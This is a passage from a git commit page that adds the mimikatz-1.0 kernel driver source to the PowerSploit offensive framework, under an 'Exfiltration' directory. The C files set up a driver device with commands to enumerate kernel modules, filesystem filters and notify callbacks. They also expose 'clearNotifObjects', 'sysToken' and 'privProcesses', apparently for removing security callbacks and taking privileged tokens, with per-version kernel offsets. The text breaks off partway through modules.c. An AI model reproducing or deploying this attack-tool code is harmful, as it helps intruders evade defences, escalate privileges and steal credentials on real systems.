diff options
author | clymb3r <bialek.joseph@gmail.com> | 2013-10-01 09:47:05 -0700 |
---|---|---|
committer | clymb3r <bialek.joseph@gmail.com> | 2013-10-01 09:47:05 -0700 |
commit | 59cd18360764af6e6133ad11ec9cd8295372e587 (patch) | |
tree | 758a4f12cd6d2bddb0006df7d1fcac3736b61b8f /Exfiltration/mimikatz-1.0/driver | |
parent | b17272eb98933c62baa5a21bcd23713f9182ee38 (diff) | |
download | PowerSploit-59cd18360764af6e6133ad11ec9cd8295372e587.tar.gz PowerSploit-59cd18360764af6e6133ad11ec9cd8295372e587.zip |
Adding Invoke-Mimikatz and Invoke-Ninjacopy
Diffstat (limited to 'Exfiltration/mimikatz-1.0/driver')
29 files changed, 1807 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/driver/MAKEFILE b/Exfiltration/mimikatz-1.0/driver/MAKEFILE new file mode 100644 index 0000000..5acbbd2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/MAKEFILE @@ -0,0 +1 @@ +!INCLUDE $(NTMAKEENV)\makefile.def diff --git a/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer b/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer new file mode 100644 index 0000000..cdd3755 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer @@ -0,0 +1,32 @@ +-----BEGIN CERTIFICATE----- +MIIFfzCCA2egAwIBAgIKYQt/awAAAAAAGTANBgkqhkiG9w0BAQUFADB/MQswCQYD +VQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEe +MBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSkwJwYDVQQDEyBNaWNyb3Nv +ZnQgQ29kZSBWZXJpZmljYXRpb24gUm9vdDAeFw0wNjA1MjMxNzAwNTFaFw0xNjA1 +MjMxNzEwNTFaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52 +LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxTaWduIFJvb3Qg +Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZjc6j40+Kfvvx +i4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6scTHAH +oT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4 +bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVt +bNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlw +R5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N89iFo7+ryUp9/ +k5DPAgMBAAGjggEjMIIBHzARBgNVHSAECjAIMAYGBFUdIAAwNgYJKwYBBAGCNxUH +BCkwJwYfKwYBBAGCNxUIjeDRiU6E15zDB4amhvscj9O/phUBGQIBbgIBADALBgNV +HQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUYHtmGkUNl8qJUC99 +BM00qP/8/UswHQYJKwYBBAGCNxQCBBAeDgBDAHIAbwBzAHMAQwBBMB8GA1UdIwQY +MBaAFGL7CiFbf0NuEdoJVFBr9dKWcfGeMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6 +Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvY3JsL3Byb2R1Y3RzL01pY3Jvc29mdENv +ZGVWZXJpZlJvb3QuY3JsMA0GCSqGSIb3DQEBBQUAA4ICAQATxWxeB388V/+bMV8/ +vZVUJcZ5+SwxA01kaUtW2VuXb3zz8NAkZXU4Y5gTcBYT96cB8cYj4IWGbAvwgJRa +deh85B6StHO/wbOnsAvTGITLzAmjXJxPPrA6nC0bxATvlzeWb+Xsuqxqs9TiPN+L +JeesvGJFMd2kCnLkG/h4QwHMujkU3l2Qrthaz17KRoFRM9WmDlhn09hmWIgWm+6x +GsqtkROEIdqabiDv2gB0KLrJX/NNXcPaJWklVOpEvMObKTMc1jyWH4eBxVPXKicz +1C4ZfAhYbdtOGZmp6l/zmp2MUTpaXL0vqQg1m1Sn2zUaUhYzNDqjgARq/bSDjK2Q +zww6ZZbsM04YJrhJu+uBkv8TTTJLI8cz57ZxaxX2nIDmvLdsvkHVAzpxMxUAUHQ7 +Dl35lqrtkD6rE0yAmSa8OKXrAjaJHbYgvoOrEPgZntdjedSusS9hNvlKS6gzxw5y +QfnxsZB+rkbv3jl7daBBFFkEHUK8R4i4Ew4F+h3wgI3/cMZ32EvcRg4jGnLVv97+ +qq5pWDz8XEbk1YGai25lWXcaMqWQprZkk2T9B1PJoN4orSpsxjjRgc6Y9UAZ6SwX +Q6QmX9NEMFPkHQK6pAovFt16YCdSQrutmDcol+S40nkR4xCMSNUwXQoMUt71iOqN +Gi1nyfSAFIS3hQzRZiilxm8kYQ== +-----END CERTIFICATE----- diff --git a/Exfiltration/mimikatz-1.0/driver/SOURCES b/Exfiltration/mimikatz-1.0/driver/SOURCES new file mode 100644 index 0000000..f544791 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/SOURCES @@ -0,0 +1,9 @@ +TARGETNAME=mimikatz +TARGETPATH=OBJ +TARGETTYPE=DRIVER +SOURCES=mimikatz.c \ + mod_memory.c \ + processes.c minifilters.c fsfilters.c modules.c ssdt.c \ + notify_process.c notify_thread.c notify_image.c notify_reg.c notify_object.c + +TARGETLIBS= $(TARGETLIBS) $(IFSKIT_LIB_PATH)\fltmgr.lib $(BASEDIR)\lib\wlh\*\aux_klib.lib $(DDK_LIB_PATH)\ntstrsafe.lib diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.c b/Exfiltration/mimikatz-1.0/driver/fsfilters.c new file mode 100644 index 0000000..fc80756 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/fsfilters.c @@ -0,0 +1,35 @@ +#include "fsfilters.h" + +NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG ActualNumberDriverObjects = 0; + PDRIVER_OBJECT * DriverObjectList = NULL; + + ULONG i; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + IoEnumerateRegisteredFiltersList(NULL, 0, &ActualNumberDriverObjects); + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kFiltersList - ActualNumberDriverObjects : %u\n\n", ActualNumberDriverObjects); + if(NT_SUCCESS(status)) + { + if(ActualNumberDriverObjects > 0) + { + DriverObjectList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, POOL_TAG); + if(DriverObjectList != NULL) + { + IoEnumerateRegisteredFiltersList(DriverObjectList, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, &ActualNumberDriverObjects); + for(i = 0; (i < ActualNumberDriverObjects) && NT_SUCCESS(status); i++) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName)); + //DbgPrint("[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName)); + ObDereferenceObject(DriverObjectList[i]); + } + ExFreePoolWithTag(DriverObjectList, POOL_TAG); + } + } + } + return status; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.h b/Exfiltration/mimikatz-1.0/driver/fsfilters.h new file mode 100644 index 0000000..9e82e9c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/fsfilters.h @@ -0,0 +1,5 @@ +#pragma once +#include <ntifs.h> +#include "k_types.h" + +NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/k_types.h b/Exfiltration/mimikatz-1.0/driver/k_types.h new file mode 100644 index 0000000..f82465f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/k_types.h @@ -0,0 +1,49 @@ +#pragma once +#include <ntddk.h> +#include <ntstrsafe.h> + +#define MIN(a, b) (((a) < (b)) ? (a) : (b)) +#define MAX(a, b) (((a) > (b)) ? (a) : (b)) + +#ifndef KIWI_NameToFunc +#define KIWI_NameToFunc(Name, Function) if(taillFunc == sizeof(Name) - sizeof(WCHAR)) if(RtlCompareMemory(Name, buffer, taillFunc) == taillFunc) {*destFunc = Function; return STATUS_SUCCESS;} +#endif + +#ifndef KIWI_mask3bits +#define KIWI_mask3bits(addr) (((ULONG_PTR) (addr)) & ~7) +#endif + +#define POOL_TAG 'iwik' + +#define INDEX_UNK 0 +#define INDEX_XP 1 +#define INDEX_2K3 2 +#define INDEX_VISTA 3 +#define INDEX_2K8 4 +#define INDEX_7 5 +#define INDEX_2K8R2 6 +#define INDEX_8 7 +#define MAX_OS_LEN 8 + +#ifdef _M_IX86 +#define EX_FAST_REF_MASK 0x07 +#else +#define EX_FAST_REF_MASK 0x0f +#endif + +typedef NTSTATUS (* ptrLocalFunction) (LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +ULONG INDEX_OS; + +PDRIVER_OBJECT moi; + +typedef struct _SERVICE_DESCRIPTOR_TABLE { +#ifdef _M_IX86 + PVOID *ServiceTable; +#else + LONG *OffsetToService; +#endif + PULONG CounterTable; + ULONG TableSize; + PUCHAR ArgumentTable; +} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE; diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.c b/Exfiltration/mimikatz-1.0/driver/mimikatz.c new file mode 100644 index 0000000..d109eac --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mimikatz.c @@ -0,0 +1,193 @@ +#include "mimikatz.h" + +ptrLocalFunction maFunc = NULL; + +NTSTATUS UnSupported(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + return STATUS_NOT_SUPPORTED; +} + +NTSTATUS Write(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + NTSTATUS status = STATUS_INVALID_PARAMETER; + PIO_STACK_LOCATION pIoStackIrp = NULL; + PWSTR params; + size_t tailleParams; + + pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); + if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp) + { + status = getLocalFuncFromName((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Write.Length, ¶ms, &tailleParams, &maFunc); + + if(NT_SUCCESS(status)) + { + Irp->IoStatus.Information = pIoStackIrp->Parameters.Write.Length; + } + } + IoCompleteRequest(Irp, IO_NO_INCREMENT); + Irp->IoStatus.Status = status; + + return status; +} + +NTSTATUS Read(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + NTSTATUS status = STATUS_INVALID_HANDLE; + PIO_STACK_LOCATION pIoStackIrp = NULL; + + LPWSTR pszDestEnd; + size_t pcbRemaining; + + pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); + if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp) + { + if(maFunc) + { + status = maFunc((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Read.Length, &pszDestEnd, &pcbRemaining); + + if(NT_SUCCESS(status)) + { + Irp->IoStatus.Information = pIoStackIrp->Parameters.Read.Length - pcbRemaining; + } + } + else + { + status = STATUS_PROCEDURE_NOT_FOUND; + } + } + IoCompleteRequest(Irp, IO_NO_INCREMENT); + Irp->IoStatus.Status = status; + + return status; +} + +void DriverUnload(IN PDRIVER_OBJECT theDriverObject) +{ + UNICODE_STRING UStrDosDeviceName; + RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz"); + IoDeleteSymbolicLink(&UStrDosDeviceName); + IoDeleteDevice(theDriverObject->DeviceObject); +} + +NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) +{ + NTSTATUS status; + UNICODE_STRING UStrDriverName, UStrDosDeviceName; + PDEVICE_OBJECT pDeviceObject = NULL; + ULONG i; + + moi = theDriverObject; + RtlInitUnicodeString(&UStrDriverName, L"\\Device\\mimikatz"); + status = IoCreateDevice(theDriverObject, 0, &UStrDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject); + + if(NT_SUCCESS(status)) + { + INDEX_OS = getWindowsIndex(); + + for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + theDriverObject->MajorFunction[i] = UnSupported; + + theDriverObject->MajorFunction[IRP_MJ_READ] = Read; + theDriverObject->MajorFunction[IRP_MJ_WRITE] = Write; + + theDriverObject->DriverUnload = DriverUnload; + + pDeviceObject->Flags |= DO_BUFFERED_IO; + pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; + + RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz"); + IoCreateSymbolicLink(&UStrDosDeviceName, &UStrDriverName); + } + + return status; +} + + +ULONG getWindowsIndex() +{ + switch(*NtBuildNumber) + { + case 2600: + return INDEX_XP; + break; + case 3790: + return INDEX_2K3; + break; + case 6000: + case 6001: + return INDEX_VISTA; + case 6002: + return INDEX_2K8; + break; + case 7600: + case 7601: + return INDEX_7; + break; + case 8102: + case 8250: + case 9200: + return INDEX_8; + break; + default: + return 0; + } +} + +NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc) +{ + NTSTATUS status; + size_t tailleChaine; + ULONG i; + ULONG taillFunc; + + status = RtlStringCbLengthW(buffer, taille, &tailleChaine); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < tailleChaine / sizeof(WCHAR)) && (buffer[i] != L' '); i++); + + if( (i+1) < (tailleChaine / sizeof(WCHAR))) + { + *params = buffer + (i+1); + *tailleParams = (tailleChaine / sizeof(WCHAR)) - (i+1); // avoir !!! + DbgPrint("%u", *tailleParams); + } + else + { + *params = NULL; + *tailleParams = 0; + } + + *destFunc = NULL; + taillFunc = i*sizeof(WCHAR); + + + KIWI_NameToFunc(L"ping", kPing); + + if(INDEX_OS) + { + KIWI_NameToFunc(L"ssdt", kSSDT); + + KIWI_NameToFunc(L"listModules", kModulesList); + KIWI_NameToFunc(L"listFilters", kFiltersList); + KIWI_NameToFunc(L"listMinifilters", kMiniFiltersList); + + KIWI_NameToFunc(L"listNotifProcesses", kListNotifyProcesses); + KIWI_NameToFunc(L"listNotifThreads", kListNotifyThreads); + KIWI_NameToFunc(L"listNotifImages", kListNotifyImages); + KIWI_NameToFunc(L"listNotifRegistry", kListNotifyRegistry); + KIWI_NameToFunc(L"listNotifObjects", kListNotifyObjects); + KIWI_NameToFunc(L"clearNotifObjects", kClearNotifyObjects); + + KIWI_NameToFunc(L"listProcesses", listProcesses); + KIWI_NameToFunc(L"sysToken", sysToken); + KIWI_NameToFunc(L"privProcesses", privProcesses); + } + } + return status; +} + + +NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return RtlStringCbPrintfExW(pszDest, cbDest, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"Pong (from ring 0 :)\n"); +} diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.h b/Exfiltration/mimikatz-1.0/driver/mimikatz.h new file mode 100644 index 0000000..3ece6e2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mimikatz.h @@ -0,0 +1,26 @@ +#pragma once + +#include "minifilters.h" +#include "fsfilters.h" +#include "modules.h" +#include "processes.h" +#include "ssdt.h" + +#include "notify.h" + +#include "k_types.h" + +#include <ntddk.h> + +extern PSHORT NtBuildNumber; +ULONG getWindowsIndex(); + +DRIVER_INITIALIZE DriverEntry; +DRIVER_UNLOAD DriverUnload; + +DRIVER_DISPATCH UnSupported; +__drv_dispatchType(IRP_MJ_READ) DRIVER_DISPATCH Read; +__drv_dispatchType(IRP_MJ_WRITE) DRIVER_DISPATCH Write; + +NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc); +NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.c b/Exfiltration/mimikatz-1.0/driver/minifilters.c new file mode 100644 index 0000000..90ba7ef --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/minifilters.c @@ -0,0 +1,193 @@ +#include "minifilters.h" + +const ULONG MF_OffSetTable[MAX_OS_LEN][MAX_MF_LEN] = +{ + /* INDEX_MF_CALLBACK_OFF, INDEX_MF_CALLBACK_PRE_OFF, INDEX_MF_CALLBACK_POST_OFF, INDEX_MF_VOLUME_NAME_OFF */ +#ifdef _M_IX86 +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x007c, 0x000c, 0x0010, 0x002c}, +/* INDEX_2K3 */ {0x007c, 0x000c, 0x0010, 0x002c}, +/* INDEX_VISTA */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_2K8 */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_7 */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas !*/ +/* INDEX_8 */ {0x004c, 0x000c, 0x0010, 0x0030} +#else +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 est 2003 x64 */ +/* INDEX_2K3 */ {0x00e8, 0x0018, 0x0020, 0x0048}, +/* INDEX_VISTA */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_2K8 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_7 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_2K8R2 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_8 */ {0x0090, 0x0018, 0x0020, 0x0050} +#endif +}; + +const WCHAR *irpToName[] = { + L"CREATE", + L"CREATE_NAMED_PIPE", + L"CLOSE", + L"READ", + L"WRITE", + L"QUERY_INFORMATION", + L"SET_INFORMATION", + L"QUERY_EA", + L"SET_EA", + L"FLUSH_BUFFERS", + L"QUERY_VOLUME_INFORMATION", + L"SET_VOLUME_INFORMATION", + L"DIRECTORY_CONTROL", + L"FILE_SYSTEM_CONTROL", + L"DEVICE_CONTROL", + L"INTERNAL_DEVICE_CONTROL", + L"SHUTDOWN", + L"LOCK_CONTROL", + L"CLEANUP", + L"CREATE_MAILSLOT", + L"QUERY_SECURITY", + L"SET_SECURITY", + L"POWER", + L"SYSTEM_CONTROL", + L"DEVICE_CHANGE", + L"QUERY_QUOTA", + L"SET_QUOTA", + L"PNP", +}; + +NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + + ULONG i, j, k; + + ULONG NumberFiltersReturned = 0; + PFLT_FILTER *FilterList = NULL; + + ULONG BytesReturned = 0; + PFILTER_FULL_INFORMATION myFilterFullInformation = NULL; + + PFLT_INSTANCE *InstanceList = NULL; + ULONG NumberInstancesReturned = 0; + + PFLT_VOLUME RetVolume = NULL; + + PVOID monCallBack, preCallBack, postCallBack; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kMiniFiltersList\n\n"); + if(NT_SUCCESS(status)) + { + status = FltEnumerateFilters(NULL, 0, &NumberFiltersReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (NumberFiltersReturned > 0)) + { + FilterList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_FILTER) * NumberFiltersReturned, POOL_TAG); + if(FilterList != NULL) + { + status = FltEnumerateFilters(FilterList, sizeof(PFLT_FILTER) * NumberFiltersReturned, &NumberFiltersReturned); + for(i = 0; (i < NumberFiltersReturned) && NT_SUCCESS(status); i++) + { + status = FltGetFilterInformation(FilterList[i], FilterFullInformation, NULL, 0, &BytesReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (BytesReturned > 0)) + { + myFilterFullInformation = ExAllocatePoolWithTag(NonPagedPool, BytesReturned, POOL_TAG); + if(myFilterFullInformation != NULL) + { + status = FltGetFilterInformation(FilterList[i], FilterFullInformation, myFilterFullInformation, BytesReturned, &BytesReturned); + if(NT_SUCCESS(status)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%*.*ws\n", + myFilterFullInformation->FilterNameLength/sizeof(WCHAR), myFilterFullInformation->FilterNameLength/sizeof(WCHAR), + myFilterFullInformation->FilterNameBuffer + ); + + if(NT_SUCCESS(status)) + { + status = FltEnumerateInstances(NULL, FilterList[i], NULL, 0, &NumberInstancesReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (NumberInstancesReturned > 0)) + { + InstanceList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_INSTANCE) * NumberInstancesReturned, POOL_TAG); + if(InstanceList != NULL) + { + status = FltEnumerateInstances(NULL, FilterList[i], InstanceList, NumberInstancesReturned, &NumberInstancesReturned); + for(j = 0; (j < NumberInstancesReturned) && NT_SUCCESS(status); j++) + { + /* + http://msdn.microsoft.com/en-us/library/windows/hardware/ff541499%28v=VS.85%29.aspx + * InstanceName + * Altitude + * VolumeName + - FilterName + */ + + if(NT_SUCCESS(FltGetVolumeFromInstance(InstanceList[j], &RetVolume))) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" Instance %u @ %wZ\n", + j, + (PUNICODE_STRING) (((ULONG_PTR) RetVolume) + MF_OffSetTable[INDEX_OS][INDEX_MF_VOLUME_NAME_OFF]) + ); + FltObjectDereference (RetVolume); + } + else + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" Instance %u\n", + j + ); + } + + for(k = 0x16; (k < 0x32) && NT_SUCCESS(status); k++) + { + monCallBack = (PVOID) *(PULONG_PTR) (( ((ULONG_PTR) InstanceList[j] )+ MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_OFF]) + sizeof(PVOID)*k); + if(monCallBack != NULL) + { + preCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_PRE_OFF]); + postCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_POST_OFF]); + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" [0x%2x %-24ws] ", + k, + irpToName[k - 0x16] + ); + + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) preCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / "); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) postCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + + } + } + } + FltObjectDereference (InstanceList[j]); + } + ExFreePoolWithTag(InstanceList, POOL_TAG); + } + } + } + } + ExFreePoolWithTag(myFilterFullInformation, POOL_TAG); + } + } + FltObjectDereference (FilterList[i]); + } + ExFreePoolWithTag(FilterList, POOL_TAG); + } + } + } + return status; +} diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.h b/Exfiltration/mimikatz-1.0/driver/minifilters.h new file mode 100644 index 0000000..647031a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/minifilters.h @@ -0,0 +1,12 @@ +#pragma once +#include <fltkernel.h> +#include "k_types.h" +#include "modules.h" + +#define INDEX_MF_CALLBACK_OFF 0 +#define INDEX_MF_CALLBACK_PRE_OFF 1 +#define INDEX_MF_CALLBACK_POST_OFF 2 +#define INDEX_MF_VOLUME_NAME_OFF 3 +#define MAX_MF_LEN 4 + +NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.c b/Exfiltration/mimikatz-1.0/driver/mod_memory.c new file mode 100644 index 0000000..d5a05b3 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mod_memory.c @@ -0,0 +1,32 @@ +#include "mod_memory.h" + +NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur) +{ + for(*addressePattern = adresseBase; (adresseMaxMin > adresseBase) ? (*addressePattern <= adresseMaxMin) : (*addressePattern >= adresseMaxMin); *addressePattern += (adresseMaxMin > adresseBase) ? 1 : -1) + { + if(RtlCompareMemory(pattern, *addressePattern, longueur) == longueur) + { + return STATUS_SUCCESS; + } + } + *addressePattern = NULL; + return STATUS_NOT_FOUND; +} + +NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo) +{ + NTSTATUS status = searchMemory(adresseBase, adresseMaxMin, pattern, addressePointeur, longueur); + if(NT_SUCCESS(status)) + { + *addressePointeur += offsetTo; + #ifdef _M_X64 + *addressePointeur += sizeof(LONG) + *(PLONG)(*addressePointeur); + #elif defined _M_IX86 + *addressePointeur = *(PUCHAR *)(*addressePointeur); + #endif + + if(!*addressePointeur) + status = STATUS_INVALID_HANDLE; + } + return status; +} diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.h b/Exfiltration/mimikatz-1.0/driver/mod_memory.h new file mode 100644 index 0000000..0c10fb9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mod_memory.h @@ -0,0 +1,5 @@ +#pragma once +#include "k_types.h" + +NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur); +NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo); diff --git a/Exfiltration/mimikatz-1.0/driver/modules.c b/Exfiltration/mimikatz-1.0/driver/modules.c new file mode 100644 index 0000000..7ca3551 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/modules.c @@ -0,0 +1,110 @@ +#include "modules.h" + +NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG i; + ULONG modulesSize; + AUX_MODULE_EXTENDED_INFO* modules; + ULONG numberOfModules; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = AuxKlibInitialize(); + if(NT_SUCCESS(status)) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); + if (NT_SUCCESS(status)) + { + if(modulesSize > 0) + { + numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); + modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG); + + if(modules != NULL) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); + if (NT_SUCCESS(status)) + { + for(i = 0; i < numberOfModules; i++) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%p - %.8u [%S] %S\n", + modules[i].BasicInfo.ImageBase, + modules[i].ImageSize, + modules[i].FullPathName + modules[i].FileNameOffset, + modules[i].FullPathName + ); + } + } + ExFreePoolWithTag(modules, POOL_TAG); + } + } + } + } + + return status; +} + +NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG i; + ULONG modulesSize; + AUX_MODULE_EXTENDED_INFO* modules; + ULONG numberOfModules; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = AuxKlibInitialize(); + if(NT_SUCCESS(status)) + { + status = AuxKlibQueryModuleInformation(&modulesSize, 